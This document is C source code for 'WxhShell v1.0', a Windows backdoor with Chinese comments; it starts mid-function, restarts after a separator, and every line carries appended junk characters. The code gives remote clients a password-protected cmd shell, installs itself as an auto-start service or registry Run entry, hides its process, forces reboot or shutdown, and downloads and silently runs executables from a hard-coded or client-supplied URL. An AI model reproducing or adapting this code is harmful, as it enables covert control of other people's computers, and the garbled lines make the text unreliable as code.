    ExitThread(0); owY_cDzrH  
    } \7tvNa,C  
    break; k&"qdB(I  
    } O7CYpn4<7  
  // 关机 ']6#7NU  
  case 'd': { UUEDCtF)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Lp]C![\>U  
    if(Boot(SHUTDOWN)) (uK), *6B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BiLreZ~"  
    else { w>q_8V_K  
    closesocket(wsh); ]aW.b_7<9  
    ExitThread(0); [ MXXY  
    } ?QIQ,?.  
    break; <sFf'W_3{  
    } B l/e>@M  
  // 获取shell z` ?xS  
  case 's': { 2u;fT{(  
    CmdShell(wsh); YIk6:W{  
    closesocket(wsh); | v'5*n9  
    ExitThread(0); +p}Xmn  
    break; "u]Fl+c  
  } ;WAu]C|  
  // 退出 _ktSTzH0  
  case 'x': { ?d#(ian  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?'#;Y"RT  
    CloseIt(wsh); (X7yNIPfA  
    break; HY|SLk/E  
    } ,Y5 4(>>%  
  // 离开 #<>E+r+  
  case 'q': { ~t3?er& R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,H(vD,54g  
    closesocket(wsh); n2hsG.4  
    WSACleanup(); k'q !MZU  
    exit(1); 9C~GL,uKs  
    break; n *0F  
        } o%>nu  
  } nMoF;AdKm  
  } Oc+L^}elJ  
4_:e+ ql  
  // 提示信息 td$6:)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xENA:j?kF  
} r$eL-jQmn  
  } |w]i$`3'I  
&ziB#(&:H  
  return; 8A]q!To  
} ;B7|tajd  
G8-d%O p  
// shell模块句柄 %LlKi5u]  
int CmdShell(SOCKET sock) E :g ArQ  
{ ;RZa<2  
STARTUPINFO si; ^a5~FI:  
ZeroMemory(&si,sizeof(si)); 4GejT(U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4i&!V9@:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Sh6 NgO  
PROCESS_INFORMATION ProcessInfo; ct/THq  
char cmdline[]="cmd"; (xJBN?NRO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "MP{z~M mj  
  return 0; \`9|~!,Ix7  
} { 3P!b|V>  
9JeGjkG,  
// 自身启动模式 2qR@: ^  
int StartFromService(void) xT( .#9  
{ GuDD7~qxY  
typedef struct }33Au-%*  
{ .%h_W\M<l  
  DWORD ExitStatus; U]&%EqLS  
  DWORD PebBaseAddress; -* j;  
  DWORD AffinityMask; BeCr){,3  
  DWORD BasePriority;  ]= D  
  ULONG UniqueProcessId; Z{)|w=  
  ULONG InheritedFromUniqueProcessId; 2YEn)A@8  
}   PROCESS_BASIC_INFORMATION; . k DCcnm  
]V\ g$@  
PROCNTQSIP NtQueryInformationProcess; 52Ffle8  
$}o,7xAn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r 24]2A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [o6<aE-  
uV\#J{'*  
  HANDLE             hProcess; 3VgH* vAU}  
  PROCESS_BASIC_INFORMATION pbi; I`lH6hHp  
~%q e,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Jq@LZ2^  
  if(NULL == hInst ) return 0;  7cQw?C  
ht!:e>z&4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); goWt!,&f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KDzIarC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X,Q(W0-6$u  
%j`]x -aOz  
  if (!NtQueryInformationProcess) return 0; imuHSxcaV  
~.SU$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nW[aPQ[R   
  if(!hProcess) return 0; TQfY%GKg(  
"K]4j]yU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @}}1xP4Sr  
^U1 +D^AJ  
  CloseHandle(hProcess); yrb%g~ELGn  
I*t}gvUt9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _J`M>W)8  
if(hProcess==NULL) return 0; '7%9Sqx  
?q7Gs)B=^'  
HMODULE hMod; -O6o^Dk  
char procName[255]; E$baQU hKS  
unsigned long cbNeeded; uu#+|ZD  
o W [-?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RR9s%>^  
oOvbel`;  
  CloseHandle(hProcess); \8H"lcj:  
|1$X`|S  
if(strstr(procName,"services")) return 1; // 以服务启动 B W1O1zIh\  
v7RDoO]I  
  return 0; // 注册表启动 TR;-xst@  
} <]J5AdJ  
Xp@OIn  
// 主模块 .- o,_eg1f  
int StartWxhshell(LPSTR lpCmdLine) p_5+L@%Gb  
{ ={d\zjI$  
  SOCKET wsl; .4-S|]/d,  
BOOL val=TRUE; 4cL=f  
  int port=0; JaTW/~ TU  
  struct sockaddr_in door; S|i //I%_  
JD .z}2+  
  if(wscfg.ws_autoins) Install(); kSrzIq<xre  
@:8|tJu8b  
port=atoi(lpCmdLine); ^B>6 !  
L.(k8eX  
if(port<=0) port=wscfg.ws_port; Z$gY}Bz  
P#]jPW  
  WSADATA data; 8;@eY`0(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4+Kc  
ul1Vsj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +z_0?x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #YV;Gp(2h  
  door.sin_family = AF_INET; CK%W +";  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); TlJF{ <E  
  door.sin_port = htons(port); nfU}ECun4  
O\z%6:'M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l,3tU|V  
closesocket(wsl); uW|y8 BP $  
return 1; gfHlY Q]  
} 4O'ho0w7  
k3w#^ "i  
  if(listen(wsl,2) == INVALID_SOCKET) { 1F-L( \oKm  
closesocket(wsl); a7R7Ks|q  
return 1; [&&4lKC}u  
} auU{I y   
  Wxhshell(wsl); /fEXAk  
  WSACleanup(); j(hC't-  
[VH t#JuN,  
return 0; #k6T_ki  
SqLKF<tY]/  
} [ CY=  
j@f(cRAf#  
// 以NT服务方式启动 #:X :~T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <U";V)  
{ 16U@o>O  
DWORD   status = 0; -rBj-4|"  
  DWORD   specificError = 0xfffffff; c_ i;'  
_`_$U MK;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; od>.5{o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; XooAL0w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z'o+3 zq^  
  serviceStatus.dwWin32ExitCode     = 0; O@VmV>m  
  serviceStatus.dwServiceSpecificExitCode = 0; Ki2_Nh>tM  
  serviceStatus.dwCheckPoint       = 0; j yE+?4w;  
  serviceStatus.dwWaitHint       = 0; ]v@,>!Wn  
CEiG jo^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f3O'lc3  
  if (hServiceStatusHandle==0) return; }OZfsYPz}T  
d p].FS  
status = GetLastError(); qp8;=Nfa  
  if (status!=NO_ERROR) +a{>jzR  
{ P^z)]K#sw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4-AmzU  
    serviceStatus.dwCheckPoint       = 0; Qoc-ZC"<6  
    serviceStatus.dwWaitHint       = 0; c|XnPqo;f  
    serviceStatus.dwWin32ExitCode     = status; x1Uj4*Au  
    serviceStatus.dwServiceSpecificExitCode = specificError; Zv_<*uzKZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x$t=6@<]  
    return; 8w4.|h5FP  
  } 9 (Z)c  
QGa"HG5NF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -3C~}~$>`  
  serviceStatus.dwCheckPoint       = 0; <_}u5E)7(  
  serviceStatus.dwWaitHint       = 0; _XN sDW4|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E;SF f  
} _[V 6s#Wk3  
 zcc]5>  
// 处理NT服务事件,比如:启动、停止 [F e5a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vKxwv YDe  
{ GauIe0qV  
switch(fdwControl) (Qnn  
{ &7cy9Z~m  
case SERVICE_CONTROL_STOP: z]pH'c39  
  serviceStatus.dwWin32ExitCode = 0; MC3{LVNK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q QQ~ [JL  
  serviceStatus.dwCheckPoint   = 0; i=+ "[h^  
  serviceStatus.dwWaitHint     = 0; k&*=:y}  
  { 0< !BzG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fa)G$Q  
  } Xg"=,j2  
  return; Gh.02  
case SERVICE_CONTROL_PAUSE: LY7'wONx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (_D#gr{S=  
  break; |1EM )zh6  
case SERVICE_CONTROL_CONTINUE: 5_PD ?lg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z`W$/tw"  
  break; ><Z2uJZ4x  
case SERVICE_CONTROL_INTERROGATE: 8AK#bna~-  
  break; gC?k6)p$N  
}; @uHNz-c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 16AYB17  
} /PO5z7n0J  
'{EDdlX  
// 标准应用程序主函数 )%0#XC^/X5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fz%urbJR  
{ :jA~zHO  
a"}?{  
// 获取操作系统版本 w%htY.-  
OsIsNt=GetOsVer(); {ES3nCL(8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); N:0mjHG  
7yKadM~)  
  // 从命令行安装 (RQ kwu/  
  if(strpbrk(lpCmdLine,"iI")) Install(); V\A?1   
v6FYlKU@8  
  // 下载执行文件 <X:7$v6T|  
if(wscfg.ws_downexe) { '_2~8w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jl@xcs]#  
  WinExec(wscfg.ws_filenam,SW_HIDE); VE!h!`<k  
} /W%{b:  
%@LVoP!@!  
if(!OsIsNt) { 3.Y/ZWON  
// 如果时win9x,隐藏进程并且设置为注册表启动 0HE@L_$;2  
HideProc(); Al! P=h  
StartWxhshell(lpCmdLine); 1L3L!@  
} mwBOhEefNJ  
else `.@N9+Aj  
  if(StartFromService()) Y?Xs Z  
  // 以服务方式启动 Nt/>RCh  
  StartServiceCtrlDispatcher(DispatchTable); l =#uy  
else A@GyKx%x$  
  // 普通方式启动 `6'fX[j5  
  StartWxhshell(lpCmdLine); ^;M!u8[  
60*=Bs%b  
return 0; dQt]r  
} 8uNq353  
!pgkUzMW  
|iU#!+zY  
Rb?6N  
=========================================== 8^2Q ~{i  
Xfe,ZC)  
%ZZ\Xj  
=MA$xz3  
w18kTa!4@  
zbrDDkZ1  
" qXgg"k%A\  
\G2&   
#include <stdio.h> PKk_9Xd  
#include <string.h> *?cE]U6;  
#include <windows.h> .:E%cL +h  
#include <winsock2.h> cl[rgj  
#include <winsvc.h> yy@g=<okt\  
#include <urlmon.h> so1% MV  
dG\dGSZ\h  
#pragma comment (lib, "Ws2_32.lib") 40+~;20  
#pragma comment (lib, "urlmon.lib") (k4>I"x)  
Q! WXFS  
#define MAX_USER   100 // 最大客户端连接数 R0vWj9nPh  
#define BUF_SOCK   200 // sock buffer B\`4TU}kE  
#define KEY_BUFF   255 // 输入 buffer 4vF1  
; &$djP  
#define REBOOT     0   // 重启 rz5AIe>Hm  
#define SHUTDOWN   1   // 关机 Cjdw@v0;  
M"W-|t)~  
#define DEF_PORT   5000 // 监听端口 a%cCR=s=  
=XuBan3B>  
#define REG_LEN     16   // 注册表键长度 !;>j(xc  
#define SVC_LEN     80   // NT服务名长度 26?yEd6^Z  
pkQEry&Z  
// 从dll定义API n'>`2 s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [WW3'= e^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A@4sb W_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |bA\>%~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .*+%-%CbP  
{94qsVxQZ  
// wxhshell配置信息 O8qA2@,  
struct WSCFG { {wVj-w=<W  
  int ws_port;         // 监听端口 3w6}%=)$8  
  char ws_passstr[REG_LEN]; // 口令 R1)v;^B|)  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4-1=1)c*  
  char ws_regname[REG_LEN]; // 注册表键名 +G)L8{FY(  
  char ws_svcname[REG_LEN]; // 服务名 hX;JMQ915  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e'Njl?>3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  Em?bV(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z jLuqo  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0ZcvpR?G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Gf*|f"O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hj[&.w  
u 6A!Sw  
}; Xy0*1$IS]  
SHWD@WLE4  
// default Wxhshell configuration +es|0;Z4yP  
struct WSCFG wscfg={DEF_PORT, 9}G.Fr  
    "xuhuanlingzhe", AUBZ7*VO  
    1, j S~W cu  
    "Wxhshell", DC+ p s  
    "Wxhshell", @'P\c   
            "WxhShell Service", /r2*le (H  
    "Wrsky Windows CmdShell Service",  $I}7EI  
    "Please Input Your Password: ", `3GYV|LeQ  
  1, 3HCH-?U5  
  "http://www.wrsky.com/wxhshell.exe", Q6%dM'fR  
  "Wxhshell.exe" Q0l[1;$#  
    }; {{N*/ E^  
@~1}n/  
// 消息定义模块 },#@q_E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K FMx(fD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w\SfzJN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; x`9IQQ  
char *msg_ws_ext="\n\rExit."; q.I  
char *msg_ws_end="\n\rQuit."; @,kR<1  
char *msg_ws_boot="\n\rReboot..."; )/Z% HBn  
char *msg_ws_poff="\n\rShutdown..."; PLoD^3uG)  
char *msg_ws_down="\n\rSave to "; ]fiAV|'^  
jxeZ,w o  
char *msg_ws_err="\n\rErr!"; *e/8uFX  
char *msg_ws_ok="\n\rOK!"; T3H\KRe6  
{_[\k^98>  
char ExeFile[MAX_PATH]; t:$^iUrx  
int nUser = 0; Ct@OS227x  
HANDLE handles[MAX_USER]; % XvJJ  
int OsIsNt; 7UnB]-:.  
xQA6!j  
SERVICE_STATUS       serviceStatus; zw ,( kv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Xlg 0u.  
>_esLsPWh]  
// 函数声明 "Zr+>a  
int Install(void); !N"Y  
int Uninstall(void); C[c^zn  
int DownloadFile(char *sURL, SOCKET wsh); 8>4@g!9E  
int Boot(int flag); \A#YL1hh  
void HideProc(void); Ah#bj8}  
int GetOsVer(void); #"&<^  
int Wxhshell(SOCKET wsl); 0[L)`7  
void TalkWithClient(void *cs); Wks?9 )Is  
int CmdShell(SOCKET sock); LKX; ^  
int StartFromService(void); 5-[bdI  
int StartWxhshell(LPSTR lpCmdLine); >oYr=O  
fC|NK+Xd`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m0M;f+^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g._`"c  
+0DPhc  
// 数据结构和表定义 /u&{=nU  
SERVICE_TABLE_ENTRY DispatchTable[] = tMbracm  
{ E'KKR1t  
{wscfg.ws_svcname, NTServiceMain}, Q95`GuI@  
{NULL, NULL} `PH]_]:%  
}; caH!(V}6  
Aq3.%,X2H  
// 自我安装 zb_nU7Eg  
int Install(void) QY7Thnp1  
{ lX)ZQY:=:  
  char svExeFile[MAX_PATH]; d$ f3 Cre  
  HKEY key; aWg*f*2f  
  strcpy(svExeFile,ExeFile); Z4VNm1qs  
<&47W  
// 如果是win9x系统,修改注册表设为自启动 <0sT  
if(!OsIsNt) { GI. =\s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B QxU~s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3{/[gX9  
  RegCloseKey(key); ))NiX^)8^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SJ0IEPk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G _1`NyI  
  RegCloseKey(key); _+=M)lPm  
  return 0; V(#z{!  
    } P70]Ju  
  } + $Yld{i  
} F<9S,  
else { IVY{N/ 3|  
7%` \E9t  
// 如果是NT以上系统,安装为系统服务 *h9S\Pv>j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u#bd*(  
if (schSCManager!=0) P;' xa^Y  
{ wgPkSsuBuC  
  SC_HANDLE schService = CreateService hO?RsYJ.F  
  ( h+d  \u  
  schSCManager, q'9}Hz  
  wscfg.ws_svcname, 'h*^;3@*  
  wscfg.ws_svcdisp, .5AyB9a%&  
  SERVICE_ALL_ACCESS, I 7 B$X=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XLq%nVBM8\  
  SERVICE_AUTO_START, P(|+1$#[  
  SERVICE_ERROR_NORMAL, C]01(UoSZ  
  svExeFile, D-KQRe2@  
  NULL, =G<i6%(^g  
  NULL, 7SVq fWp  
  NULL, q-<t'uhs[  
  NULL, kD?lMA__  
  NULL a}p}G\b|  
  ); >Y>>lE! k  
  if (schService!=0) =[Z uE0c  
  { iVdY\+N!<  
  CloseServiceHandle(schService); "54t7  
  CloseServiceHandle(schSCManager); aM6qYO!jA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FG @ ')N!g  
  strcat(svExeFile,wscfg.ws_svcname); rdBF+YN9/?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h8zl\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0 v> *P*  
  RegCloseKey(key); .z6"(?~  
  return 0; bsosva+  
    } &aLelJ~  
  } 9snc *<  
  CloseServiceHandle(schSCManager); }@Dgr)*+  
} OF_g0Zu  
} DnI31!+y  
G[4$@{  
return 1; #[LnDU8>9  
} E9]\ I> v  
`{v!|.d<  
// 自我卸载 ,e93I6  
int Uninstall(void) 'Z{_w s  
{ }#D+}Mo!,  
  HKEY key; QKVFH:"3  
l2|[  
if(!OsIsNt) { T=~D>2C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GUH-$rA  
  RegDeleteValue(key,wscfg.ws_regname); lXnzomU  
  RegCloseKey(key); sngM4ikhs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Bkaupvv9S  
  RegDeleteValue(key,wscfg.ws_regname); UZDXv=r|  
  RegCloseKey(key); ]8~{C>ch$  
  return 0; Y Z.? k4>  
  } "> ]{t[Ib  
} xC}9W6  
} l.3|0lopX)  
else { ?P>3~3 B  
eY'< UO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fFiFS\''V  
if (schSCManager!=0) Mv%"aFC  
{ E/5/5'gBJO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); VxTrL}{(6  
  if (schService!=0) z-g"`w:Lj  
  { (;6vT'hE  
  if(DeleteService(schService)!=0) { uJ@C-/BD!M  
  CloseServiceHandle(schService); _Gb O>'kE  
  CloseServiceHandle(schSCManager); X={Z5Xxr"  
  return 0; 1Ht&;V  
  } kH|cB!?x  
  CloseServiceHandle(schService); JQ"R%g` 8  
  } g\~n5=-D  
  CloseServiceHandle(schSCManager); ,2MLYW,  
} ?#]wx H,  
} ^Yg}>?0  
VlbS\Y.  
return 1; vOV$Hle  
} NG\g_^.M  
-qNun3  
// 从指定url下载文件 fnZ?YzLI  
int DownloadFile(char *sURL, SOCKET wsh) 2Q81#i'Cm  
{ %}/|/=  
  HRESULT hr; tmVGJ+gz  
char seps[]= "/"; v3I-i|L<)  
char *token; zg+6< .Sf  
char *file; Y k @/+PE  
char myURL[MAX_PATH]; 6t!PHA  
char myFILE[MAX_PATH]; 5'%nLW7;O  
4mM?RGWv  
strcpy(myURL,sURL); S:YQVj  
  token=strtok(myURL,seps); dHO8 bYBH  
  while(token!=NULL) nd3n'b  
  { ~|kSQ7O^  
    file=token; (Ee5Af,4  
  token=strtok(NULL,seps); nA4PY]  
  } Tk~Y  
\iQ{Q &JR:  
GetCurrentDirectory(MAX_PATH,myFILE); AdGDs+at,  
strcat(myFILE, "\\"); e,8[fp-7  
strcat(myFILE, file); 3 z~d7J  
  send(wsh,myFILE,strlen(myFILE),0); 2R=Fc@MXs  
send(wsh,"...",3,0); !E.CpfaC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t;/s^-}  
  if(hr==S_OK) b-Xc6f  
return 0; J *nWCL  
else 1ww#]p`1  
return 1; mi'3ibCG  
~/m=Q<cV  
} dW#T1mB  
Mo4k6@ht_  
// 系统电源模块 D@?Tq,= [  
int Boot(int flag) >p?Vv0*  
{ ^=@`U_(,G  
  HANDLE hToken; \.K4tY+V  
  TOKEN_PRIVILEGES tkp; 7M,(!*b  
-POsbb>  
  if(OsIsNt) { eFXQ~~gOj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S!6 ? b5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9?38/2kX4  
    tkp.PrivilegeCount = 1; :c}"a(|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; u6MHdCJ0y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]9hXiY  
if(flag==REBOOT) { .u3Z*+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) peD7X:K\s  
  return 0; ^SvGSx i  
} }O+`X) 9  
else { oa<%R8T?@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M"!{Dx~  
  return 0; h,@tfd U^  
} hUP?r/B  
  } d3jzGJrU}  
  else { ?,  m_q+  
if(flag==REBOOT) { 5Ei4$T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r(OH  
  return 0; .8]buM5_G  
} . /@C  
else { YS0^ !7u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U>0~/o  
  return 0; opv<r* !  
} VxW>Xx G0  
} 8{DW$Z tR  
Ge^(Ag}vE  
return 1; %pj T?G7  
} 8z)J rO}  
K)N'~jCG  
// win9x进程隐藏模块 S=_*<[W%4  
void HideProc(void) Ev ]oPCeA  
{ rk8Cea  
Dj9ecV`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); EV[ BB;eb  
  if ( hKernel != NULL ) %v)+]Ds{  
  { {&uN q^Ch  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ap wA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +N2R'Phv  
    FreeLibrary(hKernel); g+%Pg@[  
  } ,Fzuo:{uy  
vn1*D-?  
return; .kc{)d*0K  
} 5b$QXO  
z`:tl7  
// 获取操作系统版本 F~C7$  
int GetOsVer(void) 0lLg uBW@  
{ Fp~0 ^  
  OSVERSIONINFO winfo; * 3#RS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V\*J"ZP&  
  GetVersionEx(&winfo); PX >>h}%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G]RFGwGt  
  return 1; -7u_\XFk  
  else -Ic<.ix  
  return 0; -GZ:}<W 6+  
} zn#lFPj12  
-'rb+<v  
// 客户端句柄模块 hh8U/dVk*  
int Wxhshell(SOCKET wsl)  Q5 =  
{ [PH56f  
  SOCKET wsh; `N;O6 wZ  
  struct sockaddr_in client; CF]#0*MI  
  DWORD myID; PwC^ ]e  
Jix;!("  
  while(nUser<MAX_USER) ODCv^4}9  
{ lS |:4U.  
  int nSize=sizeof(client); Z+agS8e(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); icN#8\E  
  if(wsh==INVALID_SOCKET) return 1; R47tg&k6[  
y\XWg`X y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g`I$U%a_2  
if(handles[nUser]==0) CZ.HQc  
  closesocket(wsh); 9t+:L(*pK  
else 6yK"g7  
  nUser++; ~F13}is  
  } jygKw+C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H+npe'm_Z  
8I<LZ{a10  
  return 0; % |G"ZPO?  
} LX</xI08W  
JlE b  
// 关闭 socket :LLz$[c8  
void CloseIt(SOCKET wsh) qJK-HF:#  
{ N**" u"CX  
closesocket(wsh); j$Vtd &  
nUser--; >K*TgG6!X  
ExitThread(0); rnQ9uNAu  
} o?><(A|  
MZS/o3  
// 客户端请求句柄 [m6%_3zV  
void TalkWithClient(void *cs) ;"]?&ri  
{ TlpQ9T  
J~lKN <w  
  SOCKET wsh=(SOCKET)cs; ] 69z-;  
  char pwd[SVC_LEN]; C A$R  
  char cmd[KEY_BUFF]; J=B,$4)9  
char chr[1]; ]~7xq)28  
int i,j; 9M7Wlx2  
ESi-'R&  
  while (nUser < MAX_USER) { mhMRY9ahB  
4 IXa[xAm  
if(wscfg.ws_passstr) { xPMX\aI|l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <5npVm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T#ehJq 5  
  //ZeroMemory(pwd,KEY_BUFF); [='<K  
      i=0; F32U;fp3  
  while(i<SVC_LEN) { 0pA>w8mh  
B+lnxr0t  
  // 设置超时 aj}#~v1  
  fd_set FdRead; hD,@>ky  
  struct timeval TimeOut; VL2ACv(  
  FD_ZERO(&FdRead); UQ~gjnb[c  
  FD_SET(wsh,&FdRead); 3$P GLM  
  TimeOut.tv_sec=8; pXf5/u8&  
  TimeOut.tv_usec=0; S<>u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s=1w6ZLD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Atod&qH  
k!{h]D0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~"22X`;h[G  
  pwd=chr[0]; Eg0qY\'  
  if(chr[0]==0xd || chr[0]==0xa) { vnH[D)`@  
  pwd=0; Vm%0436wOY  
  break; 79}Qj7  
  } X-_0wR  
  i++; yTh60U  
    } +?uZ~VSl  
Kbcr-89Gv~  
  // 如果是非法用户,关闭 socket O>>%lr|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2x:aMWh  
} %J :2y  
4H hQzVM{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I=|}%WO#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H#B97IGT  
=EUi| T4:  
while(1) { ?Bsc;:KF  
=:Lc-y>  
  ZeroMemory(cmd,KEY_BUFF); 6Lz:J:Q)  
B^BbA-I  
      // 自动支持客户端 telnet标准   &u0on) E  
  j=0; s3oQ( wC %  
  while(j<KEY_BUFF) { #RP7?yGM,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Df0m  
  cmd[j]=chr[0]; 89[OaT_hs  
  if(chr[0]==0xa || chr[0]==0xd) { XZ_vbYTj  
  cmd[j]=0; =QW:},sp  
  break;  S/Gy:GIf  
  } Pql;5 ~/  
  j++; RaAvPIJa |  
    } 8~vE  
UE K$  
  // 下载文件 v v]rXJu1  
  if(strstr(cmd,"http://")) { D]hwG0Chd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ItwJL`  
  if(DownloadFile(cmd,wsh)) )k&!&  
